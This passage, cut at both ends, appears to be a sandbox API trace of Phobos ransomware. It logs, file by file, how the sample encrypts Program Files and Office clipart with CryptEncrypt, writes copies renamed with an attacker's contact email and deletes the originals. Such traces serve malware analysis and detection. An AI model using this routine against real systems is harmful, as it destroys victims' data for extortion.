dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.006] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=10569) returned 1 [0165.007] CloseHandle (hObject=0x2cc) returned 1 [0165.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0165.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.007] SetEvent (hEvent=0x298) returned 1 [0165.007] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.008] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=230) returned 1 [0165.008] CloseHandle (hObject=0x2cc) returned 1 [0165.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0165.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.008] SetEvent (hEvent=0x298) returned 1 [0165.009] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.009] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=7505) returned 1 [0165.009] CloseHandle (hObject=0x2cc) returned 1 [0165.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0165.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.010] SetEvent (hEvent=0x298) returned 1 [0165.010] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.011] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2702) returned 1 [0165.011] CloseHandle (hObject=0x2cc) returned 1 [0165.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0165.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.011] SetEvent (hEvent=0x298) returned 1 [0165.011] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.013] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=14856) returned 1 [0165.013] CloseHandle (hObject=0x2cc) returned 1 [0165.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0165.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.013] SetEvent (hEvent=0x298) returned 1 [0165.014] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.014] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=15195) returned 1 [0165.014] CloseHandle (hObject=0x2cc) returned 1 [0165.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0165.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.015] SetEvent (hEvent=0x298) returned 1 [0165.015] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.016] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=630) returned 1 [0165.016] CloseHandle (hObject=0x2cc) returned 1 [0165.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0165.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.133] SetEvent (hEvent=0x298) returned 1 [0165.134] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.134] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=623) returned 1 [0165.134] CloseHandle (hObject=0x2e0) returned 1 [0165.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0165.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.135] SetEvent (hEvent=0x298) returned 1 [0165.136] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.136] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=9804) returned 1 [0165.136] CloseHandle (hObject=0x2e0) returned 1 [0165.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0165.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.137] SetEvent (hEvent=0x298) returned 1 [0165.137] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.137] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=9975) returned 1 [0165.137] CloseHandle (hObject=0x2e0) returned 1 [0165.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0165.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.138] SetEvent (hEvent=0x298) returned 1 [0165.138] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.139] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1932) returned 1 [0165.139] CloseHandle (hObject=0x2e0) returned 1 [0165.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0165.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0165.139] SetEvent (hEvent=0x298) returned 1 [0165.140] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.140] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2952) returned 1 [0165.140] CloseHandle (hObject=0x2e0) returned 1 [0165.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0165.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0165.141] SetEvent (hEvent=0x298) returned 1 [0165.141] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.142] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=9992) returned 1 [0165.142] CloseHandle (hObject=0x2e0) returned 1 [0165.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0165.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.143] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.143] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.143] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1a90) returned 1 [0165.143] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.144] ReadFile (in: hFile=0x2e0, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x2708, lpOverlapped=0x0) returned 1 [0165.449] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2710, dwBufLen=0x2710 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x2710) returned 1 [0165.449] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x2710, lpOverlapped=0x0) returned 1 [0165.450] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d14d0) returned 1 [0165.450] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.450] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0165.450] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0165.450] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0165.450] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0165.450] CloseHandle (hObject=0x2e0) returned 1 [0165.450] CloseHandle (hObject=0x2cc) returned 1 [0165.451] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0165.453] SetEvent (hEvent=0x298) returned 1 [0165.453] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.454] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2226) returned 1 [0165.454] CloseHandle (hObject=0x2cc) returned 1 [0165.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0165.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.454] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.454] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.455] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d14d0) returned 1 [0165.455] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.455] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x8b2, lpOverlapped=0x0) returned 1 [0165.603] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x8c0) returned 1 [0165.603] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x8c0, lpOverlapped=0x0) returned 1 [0165.605] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d17d0) returned 1 [0165.605] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.605] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, 